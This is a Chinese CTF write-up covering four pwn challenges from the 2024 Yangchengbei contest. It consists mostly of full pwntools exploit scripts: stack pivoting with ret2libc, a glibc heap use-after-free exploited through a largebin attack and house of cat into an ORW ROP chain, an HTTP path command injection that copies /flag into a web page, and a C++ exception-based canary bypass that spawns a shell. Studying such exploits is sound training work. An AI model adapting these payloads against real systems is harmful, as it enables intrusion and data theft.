2024年“羊城杯”粤港澳大湾区网络安全大赛初赛PWN部分题目WriteUp【本科组】

# 2024 年 “羊城杯” 粤港澳大湾区网络安全大赛初赛 PWN 部分 WriteUp【本科组】

# 解题情况

Category题目名称
Pwnpstack
PwnTravelGraph
Pwnhttpd
Pwnlogger

现在 CTF 大佬们都那么卷了吗:(
可惜鄙人太菜:(
离 AK 还剩一个 ptrace 注入:(
虽然但是我一直在尝试 io_uring:(
当了 io_uring 的小丑:(
果然每次见到 io_uring 必破防:(

# PWN

# pstack

栈迁移 + ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './pwn'
p=remote('139.155.126.78',33481)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)

#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')
buf =0x601000+0x800
lr=0x4006DB
gad1=0x4006C4
payload=b'a'*0x30+p64(buf+0x30)+p64(gad1)
p.sendafter("u grasp this little bit of overflow",payload)
pause()
pop_rdi=0x400773
puts=0x400520
payload=p64(buf+0x58)+p64(pop_rdi)+p64(0x600FC8)+p64(puts)+p64(gad1)
payload=payload.ljust(0x30,b'\x00')+p64(buf)+p64(lr)
# gdb.attach(p)
p.send(payload)
pause()
p.recv()
libc_base=u64(p.recv(6)+b'\x00\x00')-0x788f68880e50+0x788f68800000
system=libc_base+0x050D70
payload=p64(pop_rdi)+p64(0x601848)+p64(lr+1)+p64(system)+b'/bin/sh\x00'
p.sendline(payload.ljust(0x30)+p64(0x601820)+p64(lr))
p.interactive()

# TravelGraph

2.35 版本 heap UAF,直接打 largebin attack + house of cat 一把梭。之后 ROP 打一下 ORW 就能拿到 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './pwn'
p=remote('139.155.126.78',36771)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)

#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')

# car/train/plane
# guangzhou/nanning/changsha/nanchang/fuzhou
trans=['guangzhou','nanning','changsha','nanchang','fuzhou','\x00\x00']
def add(size,from_d,to,far,con):
p.sendlineafter(" Calculate the distance","1")
if size==0x520:
p.sendlineafter("What kind of transportation do you want? ","car")
elif size==0x530:
p.sendlineafter("What kind of transportation do you want? ","train")
else :
p.sendlineafter("What kind of transportation do you want? ","plane")
p.sendlineafter("rom wher",trans[from_d])
p.sendlineafter("To where?",trans[to])
p.sendlineafter("How far?",str(far))
p.sendafter("Note:",con)
def dele(from_d,to):
p.sendlineafter(" Calculate the distance","2")
p.sendlineafter("From where?",trans[from_d])
p.sendlineafter('To where?',trans[to])
def show(from_d,to):
p.sendlineafter(" Calculate the distance","3")
p.sendlineafter("From where?",trans[from_d])
p.sendlineafter('To where?',trans[to])
def edit(from_d,to,num,con):
p.sendlineafter(" Calculate the distance","4")
p.sendlineafter("From where?",trans[from_d])
p.sendlineafter('To where?',trans[to])
p.sendlineafter("Which one do you want to change?",str(num))
p.sendlineafter("How far?","0")
p.sendafter("Note:",con)
def dijk(dist):
p.sendlineafter(" Calculate the distance","5")
p.sendlineafter("Where do you want to travel",trans[dist])
def hack():
p.sendlineafter(" Calculate the distance","6")

add(0x520,0,1,1000,b'./flag\x00\x00'*0x10)
add(0x540,1,2,1000,b'./flag\x00\x00'*0x10)
add(0x520,0,1,1000,b'./flag\x00\x00'*0x10)
add(0x520,2,3,1000,b'./flag\x00\x00'*0x10)

# dele(0,1)
# show(0,0)



dijk(3)

dele(0,1)

add(0x540,2,3,1000,b'a')

add(0x520,0,2,1000,b'a')
add(0x520,0,3,1000,b'a')
show(0,3)
p.recvuntil('Distance:1000')
p.recvuntil('Note:')
heap_base=u64(p.recv(6)+b'\x00\x00')-0x00005c8312455461+0x5c8312454000
print(hex(heap_base))
dele(1,2)
dele(0,3)
add(0x540,0,4,1000,b'a'*0x510)
show(0,4)
p.recvuntil(b'a'*0x510)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x0000774c6521ace0+0x774c65000000
print(hex(libc_base))
print(hex(heap_base))




libcbase=libc_base

fake_io=heap_base+0x0000625a85e98330-0x625a85e94000
IO_wfile_jumps=libcbase+0x2170C0

execve_addr=libcbase+0xeb080

setcontext_61=libcbase+0x539E0+61
# LOGTOOL['setcontext_61']=setcontext_61
pop_rdi=0x02a3e5+libc_base
pop_rsi=0x02be51+libc_base
pop_rdx2=libc_base+0x11f2e7
ret=pop_rdi+1
buf=heap_base+0x5c8f6383c9e0-0x5c8f6383b000

open=0x1144E0+libc_base
read_a=0x1147D0+libc_base
puts=libc_base+0x80E50
payload=p64(pop_rdi)+p64(buf)+p64(pop_rsi)+p64(0)+p64(pop_rdx2)+p64(0)*2+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf-0x100)+p64(pop_rdx2)+p64(0x100)*2+p64(read_a)
payload+=p64(pop_rdi)+p64(buf-0x100)+p64(puts)

rop=payload

pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data
0x88:p64(fake_io+0x1e8),

0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)], #_mode
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable


0x118:flat(
{
0x18:[p64(setcontext_61)]
},filler=b'\x00'
),

0x138:flat(
{
0x68:p64(fake_io+0x1e8),
0x70:p64(0),
0x88:p64(0),

0xa0:p64(fake_io+0x1f8),
0xa8:p64(ret)
},filler=b'\x00'
),

0x1e8:flat(
{
0x00:p64(0)+p64(0),
0x10:rop

},filler=b'\x00'
)
},filler=b'\x00'
)
add(0x520,1,2,1000,b'a')
add(0x520,3,3,1000,b'a')
add(0x540,1,4,1000,b'a')
add(0x540,4,4,1000,b'a')
add(0x520,1,3,1000,b'a')
add(0x530,1,1,1000,pay[0x00:])
add(0x520,1,2,1000,b'a')
# 2 4 / 3 4
dele(1,4)
dele(3,3)
add(0x540,2,4,1000,b'a'*0x500+p64(0)+p64(0x531)+p64(0x400000001)+p64(0x300000100))
add(0x540,1,2,1000,b'a')
ioall=libc_base+0x021B680

edit(1,4,0,p64(0)+p64(0x521)+p64(0)*3+p64(ioall-0x20))
dele(1,3)
dele(1,1)
add(0x540,1,2,1000,b'a')
add(0x540,1,2,1000,b'a')

hack()

p.interactive()

# httpd

奇葩 WebPWN
popen 函数给了一次执行 shell 命令的机会,但是内容没法输出而且命令的字符被过滤了,所以先把 flag 文件 cp 到 index.html 里面,之后访问 index.html 就 OK 了。

EXP:
首先执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './httpd_patched'
p=remote('139.155.126.78',31423)

method='get'

filename='/cp%20/flag%20./index.html'

# filename='/index.html'
#
protocol='HTTP/1.0'
p.sendline(method+' '+filename+' '+protocol)
# pause()
p.sendline("Host: 139.155.126.78:32304")
# gdb.attach(p)
p.sendline("Content-Length: 100")
p.interactive()

之后执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './httpd_patched'
p=remote('139.155.126.78',31423)

method='get'

# filename='/cp%20/flag%20./index.html'

filename='/index.html'
#
protocol='HTTP/1.0'
p.sendline(method+' '+filename+' '+protocol)
# pause()
p.sendline("Host: 139.155.126.78:32304")
# gdb.attach(p)
p.sendline("Content-Length: 100")
p.interactive()

# logger

利用 cpp 的异常处理机制绕过 canary 直接执行 system ('/bin/sh')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './pwn'
p=remote('139.155.126.78',35388)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)
# gdb.attach(p)
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')

def trace():
p.sendlineafter("Your chocie:","1")
def warn(con):
p.sendlineafter("Your chocie:","2")
p.sendafter("Type your message here plz: ",con)
def exit():
p.sendlineafter("Your chocie:","3")
# trace()
for i in range(9):
trace()
p.send(b"/bin/sh\x00"*2)
p.sendlineafter("Do you need to check the records?",b'n')
# pause()
warn(b'/bin/sh\x00'*14+p64(0x404218)+p64(0x401BC7))
p.interactive()